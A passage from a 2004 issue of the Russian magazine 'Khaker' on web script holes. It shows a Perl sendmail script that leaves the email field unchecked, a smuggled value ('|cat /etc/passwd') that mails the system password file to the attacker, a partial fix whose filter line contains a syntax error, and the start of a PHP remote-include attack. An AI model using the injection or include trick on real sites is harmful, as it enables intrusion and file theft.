Спецвыпуск журнала «Хакер» #47, октябрь 2004 г.

$email=param(«email»);

open(MAIL,"|/usr/sbin/sendmail –t $email");

print MAIL «From: admin@victim.com\n»;

print MAIL «Subject: Thanks\n\nThank you!\n»;

close(MAIL);

Как видно, переменная $email никоим образом не проверяется, что может привести к нежелательным последствиям. Стоит только указать на странице e-mail в виде lamer@xakep.ru|cat /etc/passwd, и взломщику на мыло придет письмо с вложенным passwd. И все это из-за халатности или безграмотности программиста.

Чтобы не возникало подобных ситуаций, нужно отказаться от ключика –t, а адрес получателя оформлять после вызова sendmail. Также необходимо проверять входные переменные на предмет лишних символов. Вот фрагмент кода, закрывающего баг:

Листинг

die print «Incorrect address!\n» if ($email=~/[\|;]/ || $email~!/\@/);

open(MAIL,"|/usr/sbin/sendmail");

print MAIL «To: $email\n»;

# …

О бедном include замолвите слово

Теперь поговорим о PHP-сценариях. В них также встречаются серьезные ошибки. Самой хитовой из них можно считать include-уязвимость. Часто администраторы включают опцию register_globals в положение On. При этом все параметры, переданные сценарию, автоматически интерпретируются в переменные. С одной стороны, это очень удобно: кодер может без лишних проблем писать скрипты. А с другой стороны, никто не мешает злоумышленнику выполнить произвольный системный код на системе. Для этого достаточно создать небольшой файл megahack.php на любом сервере (хотя поддержки PHP там нет, в противном случае файлу придется дать другое расширение, так как с расширением .php при обращении к файлу он будет интерпретироваться сервером как скрипт, а в данной ситуации необходимо, чтобы сервер просто выдал его содержимое) и подсунуть URL файла уязвимому скрипту. Файл может быть таким:

Листинг